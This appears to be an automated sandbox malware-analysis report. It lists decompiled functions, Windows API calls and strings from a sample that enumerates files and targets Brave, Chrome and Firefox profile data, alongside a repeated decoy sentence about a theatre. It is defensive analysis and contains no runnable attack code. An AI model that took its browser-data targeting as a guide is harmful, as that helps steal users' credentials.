lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 0040BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

\Brave\Preferences, xrefs: 0040C01B
Google Chrome, xrefs: 0040C474
Preferences, xrefs: 0040BF5E
Brave, xrefs: 0040BF42

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 2b3ab046f24fe0bac011c9279e07f2c64685d7075d11687b7d753eb600e30850
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: 2b3ab046f24fe0bac011c9279e07f2c64685d7075d11687b7d753eb600e30850
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 6CAB35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3F688,00001000), ref: 6CAB35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAB35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAB35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAB363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAB369F
__aulldiv.LIBCMT ref: 6CAB36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAB3773
EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAB377E
LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAB37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAB37C4
EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAB37CB
LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAB3801
__aulldiv.LIBCMT ref: 6CAB3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAB3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAB3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAB394C

Strings

QPC, xrefs: 6CAB38FC
GTC, xrefs: 6CAB3912
MOZ_TIMESTAMP_MODE, xrefs: 6CAB35DB
GenuntelineI, xrefs: 6CAB3639
AuthcAMDenti, xrefs: 6CAB3946

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5651da93cde4b9a8cc14499a3fe937cfc9ca388d670d9ff9a7cb00bf870c5380
Instruction ID: cd91b1e74444907990cd5c2de1cffe4c407744ab3b8027bedc51ff8dbde5dd1e
Opcode Fuzzy Hash: 5651da93cde4b9a8cc14499a3fe937cfc9ca388d670d9ff9a7cb00bf870c5380
Instruction Fuzzy Hash: DFB1C271B093509FDB18DF29C95465EBBF9BB8A700F04892EE89DD3390DB30A844CB85

Function 004143F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 00414484
%s\*, xrefs: 00414400
%s\%s, xrefs: 004144DB

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 17cad7da98d5d236d8490905c803be581254adcc9030182f58d63a0fb882b317
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 17cad7da98d5d236d8490905c803be581254adcc9030182f58d63a0fb882b317
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e0733fba184414957b84623ac2ff11fb37c01327547932e1e3e5ae516d67a78e
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: e0733fba184414957b84623ac2ff11fb37c01327547932e1e3e5ae516d67a78e
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: b3ae3776ffd6e84254adf7140b21d651e0d99713f0cd5dd6d41c963d6e0283d0
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: b3ae3776ffd6e84254adf7140b21d651e0d99713f0cd5dd6d41c963d6e0283d0
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 00401710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
